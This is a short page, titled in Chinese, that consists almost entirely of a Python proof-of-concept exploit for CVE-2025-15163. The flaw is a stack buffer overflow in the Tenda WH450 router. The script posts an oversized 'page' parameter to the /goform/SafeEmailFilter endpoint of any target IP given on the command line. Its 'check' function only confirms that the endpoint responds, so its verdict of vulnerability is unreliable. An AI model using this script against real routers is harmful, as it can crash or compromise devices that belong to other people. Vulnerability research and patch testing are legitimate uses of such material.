CVE-2025-15163 Tenda WH450路由器栈缓冲区溢出漏洞

""" CVE-2025-15163 PoC - Tenda WH450 Stack Buffer Overflow Target: /goform/SafeEmailFilter endpoint Vulnerability: Stack-based buffer overflow via page parameter CVSS: 7.2 (High) """ import requests import sys def exploit_cve_2025_15163(target_ip, target_port=80): """ Exploit CVE-2025-15163 - Stack buffer overflow in Tenda WH450 Args: target_ip: Target router IP address target_port: Target HTTP port (default: 80) Returns: bool: True if exploit sent successfully, False otherwise """ # Construct the target URL url = f"http://{target_ip}:{target_port}/goform/SafeEmailFilter" # Create overflow payload - 1000 bytes to trigger overflow # Adjust length based on actual buffer size overflow_length = 1000 overflow_payload = "A" * overflow_length # Prepare the data payload data = { "page": overflow_payload, "action": "save" } try: # Send the malicious request response = requests.post(url, data=data, timeout=10) print(f"[*] Exploit payload sent to {url}") print(f"[*] Payload length: {overflow_length} bytes") print(f"[*] Response status: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[!] Error sending exploit: {e}") return False def check_vulnerability(target_ip, target_port=80): """ Check if target is vulnerable to CVE-2025-15163 """ url = f"http://{target_ip}:{target_port}/goform/SafeEmailFilter" try: # Send normal request to check if endpoint exists response = requests.get(url, timeout=10) if response.status_code in [200, 400, 500]: print(f"[+] Target {target_ip} has /goform/SafeEmailFilter endpoint") return True except: pass print(f"[-] Target {target_ip} does not appear to be vulnerable") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_15163.py <target_ip> [port]") print("Example: python cve_2025_15163.py 192.168.0.1 80") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 print(f"[*] Checking target: {target}:{port}") check_vulnerability(target, port) print("[*] Sending exploit payload...") exploit_cve_2025_15163(target, port)